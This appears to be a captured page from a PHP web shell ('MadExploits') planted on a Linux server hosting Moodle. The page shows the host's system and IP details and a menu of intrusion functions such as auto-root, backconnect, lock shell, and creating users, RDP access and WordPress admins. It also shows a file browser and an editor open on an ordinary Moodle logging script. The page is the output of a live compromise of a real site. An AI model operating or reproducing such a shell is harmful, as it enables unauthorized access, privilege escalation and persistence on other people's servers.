Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.44
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
admin /
tool /
log /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
store
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
settings.php
1.72
KB
-rw-r--r--
stores.php
3.09
KB
-rw-r--r--
upgrade.txt
736
B
-rw-r--r--
version.php
1.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : stores.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Logging store management. * * @package tool_log * @copyright 2013 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once('../../../config.php'); require_once($CFG->libdir . '/adminlib.php'); $action = required_param('action', PARAM_ALPHANUMEXT); $enrol = required_param('store', PARAM_PLUGIN); $PAGE->set_url('/admin/tool/log/stores.php'); $PAGE->set_context(context_system::instance()); require_admin(); require_sesskey(); $all = \tool_log\log\manager::get_store_plugins(); $enabled = get_config('tool_log', 'enabled_stores'); if (!$enabled) { $enabled = array(); } else { $enabled = array_flip(explode(',', $enabled)); } $return = new moodle_url('/admin/settings.php', array('section' => 'managelogging')); $syscontext = context_system::instance(); switch ($action) { case 'disable': unset($enabled[$enrol]); set_config('enabled_stores', implode(',', array_keys($enabled)), 'tool_log'); add_to_config_log('tool_logstore_visibility', '1', '0', $enrol); break; case 'enable': if (!isset($all[$enrol])) { break; } $enabled = array_keys($enabled); $enabled[] = $enrol; set_config('enabled_stores', implode(',', $enabled), 'tool_log'); add_to_config_log('tool_logstore_visibility', '0', '1', $enrol); break; case 'up': if (!isset($enabled[$enrol])) { break; } $enabled = array_keys($enabled); $enabled = array_flip($enabled); $current = $enabled[$enrol]; if ($current == 0) { break; // Already at the top. } $enabled = array_flip($enabled); $enabled[$current] = $enabled[$current - 1]; $enabled[$current - 1] = $enrol; set_config('enabled_stores', implode(',', $enabled), 'tool_log'); break; case 'down': if (!isset($enabled[$enrol])) { break; } $enabled = array_keys($enabled); $enabled = array_flip($enabled); $current = $enabled[$enrol]; if ($current == count($enabled) - 1) { break; // Already at the end. } $enabled = array_flip($enabled); $enabled[$current] = $enabled[$current + 1]; $enabled[$current + 1] = $enrol; set_config('enabled_stores', implode(',', $enabled), 'tool_log'); break; } redirect($return);
Close